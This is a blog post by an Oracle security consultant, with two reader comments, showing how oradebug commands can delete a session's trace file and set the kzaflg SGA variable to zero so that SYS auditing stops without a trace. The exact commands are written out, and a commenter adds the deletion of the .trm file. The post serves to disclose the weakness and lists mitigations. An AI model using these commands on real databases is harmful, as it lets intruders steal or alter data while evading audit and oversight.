Call: +44 (0)7759 277220 Call

Pete Finnigan's Oracle Security Weblog

This is the weblog for Pete Finnigan. Pete works in the area of Oracle security and he specialises in auditing Oracle databases for security issues. This weblog is aimed squarely at those interested in the security of their Oracle databases.

Home » Archives » September 2011 » More oradebug

[Previous entry: "oradebug"] [Next entry: "Oracle Security Training in Berlin ... and more ..."]

More oradebug

September 21st, 2011 by Pete

Alex commented on my post about "oradebug" about the select statement on x$ksmfsv which holds a list of all fixed variables amongst other things and joined it to x$ksmmem to get the absolute address in the SGA to check the value of the audit_sys_operations flag but this is not needed as the dumpvar command of oradebug can be used to get the value without any SQL. I also had a little play with the oradebug "call" command this evening after working and decided to think about Laszlo's idea of monitoring the generated trace files to see if oradebug is used.

Whilst we cannot bypass at least two calls to oradebug (the setting of the PID and delete of the trace) that will end up in a trace file we can ensure that evidence generated by oradebug is not generated so that it cannot be monitored - I am thinking like a hacker now not a protector because i want to understand the size of the issue.

So we can start a session:

SQL> oradebug setmypid
Statement processed.
SQL> oradebug tracefile_name
SQL> oradebug close_trace
Statement processed.
SQL> oradebug call system "del c:\app\pete\diag\rdbms\ora11gr2\ora11gr2\trace\ora11gr2_ora_3412.trc"
Function returned 0

This now has removed the trace so we can turn audit off

SQL> oradebug dumpvar sga kzaflg
ub2 kzaflg_ [6995874, 6995878) = 00000001
SQL> oradebug setvar sga kzaflg 0
BEFORE: [6995874, 6995878) = 00000001
AFTER: [6995874, 6995878) = 00000000
SQL> oradebug dumpvar sga kzaflg
ub2 kzaflg_ [6995874, 6995878) = 00000000

Now you can steal data, change data or whatever and nothing is recorded to trace including the above commands. This has utilised extra oradebug commands, "oradebug tracefile_name", "oradebug call" and potentially you could also use "oradebug flush" to make sure that the server does not retain any output and write it to the next session.

This means that whilst Laszlo's tool may trap the initial "oradebug setmypdi" and the "oradebug tracefile_name" and "oradebug call" it cannot trap any subsequent calls to turn off audit or anything else that the attacker may do with oradebug and of course SYSDBA trace is off.

The only solutions seem to be:

1) disable oradebug - this needs Oracles help but maybe there is an undocumented way to unlink the interface?
2) audit is not possible; trace is not reliable as stated above
3) stop any user from having SYSDBA apart from SYS
4) stop operating system users from having OSDBA apart from "oracle"
5) stop access to the server to prevent use of OSDBA/SYSDBA - not practical for everything
6) turn remote_login_passwordfile off to prevent remote SYSDBA via the password file
7) set an impossible password for SYS and only release it when needed.
8) force connections as SYSDBA to be remote so that network logging may be possible to capture oradebug commands
9) use keystroke loggers to capture what any OS user does as "oracle" and potentially SYSDBA

None of this is perfect and in lots of sites probably un-workable so a solution is needed from Oracle to secure oradebug. I think simply stopping audit from being disabled is probably not enough as the cat is out of the bag and other things will be done instead - like removing audit or trace with delete commands......

There has been 2 Comments posted on this article

October 14th, 2011 at 08:38 am

Dirk Nachbar says:

Hi Pete,

cool stuff smile

In order to remove all footprints you should also remove the TRM file:

oradebug call system "del c:\app\pete\diag\rdbms\ora11gr2\ora11gr2\trace\ora11gr2_ora_3412.trm"



October 14th, 2011 at 11:23 am

Pete says:

Hi Dirk,

Yes i was aware of that; the example was really to show the method rather than detail a complete "clean up job"

Thanks for your comment.



  • PFCLScan

    Simply connect PFCLScan to your Oracle database and it will automatically discover the security issues that could make your Oracle database vulnerable to attack and to the potential loss of your data.

  • PFCL Obfuscate PFCLObfuscate

    PFCLObfuscate is the only tool available that can automatically add license controls to your PL/SQL code. PFCLObfuscate protects your Intellectual Property invested in your PL/SQL database code.

  • PFCL Training PFCLTraining

    PFCLTraining is a set of expert training classes for you, aimed at teaching how to audit your own Oracle database, design audit trails, secure code in PL/SQL and secure and lock down your Oracle database.

  • PFCL Services PFCLServices

    Choose PFCLServices to add Ltd to your team for your Oracle Security needs. We are experts in performing detailed security audits, data security design work and policy creation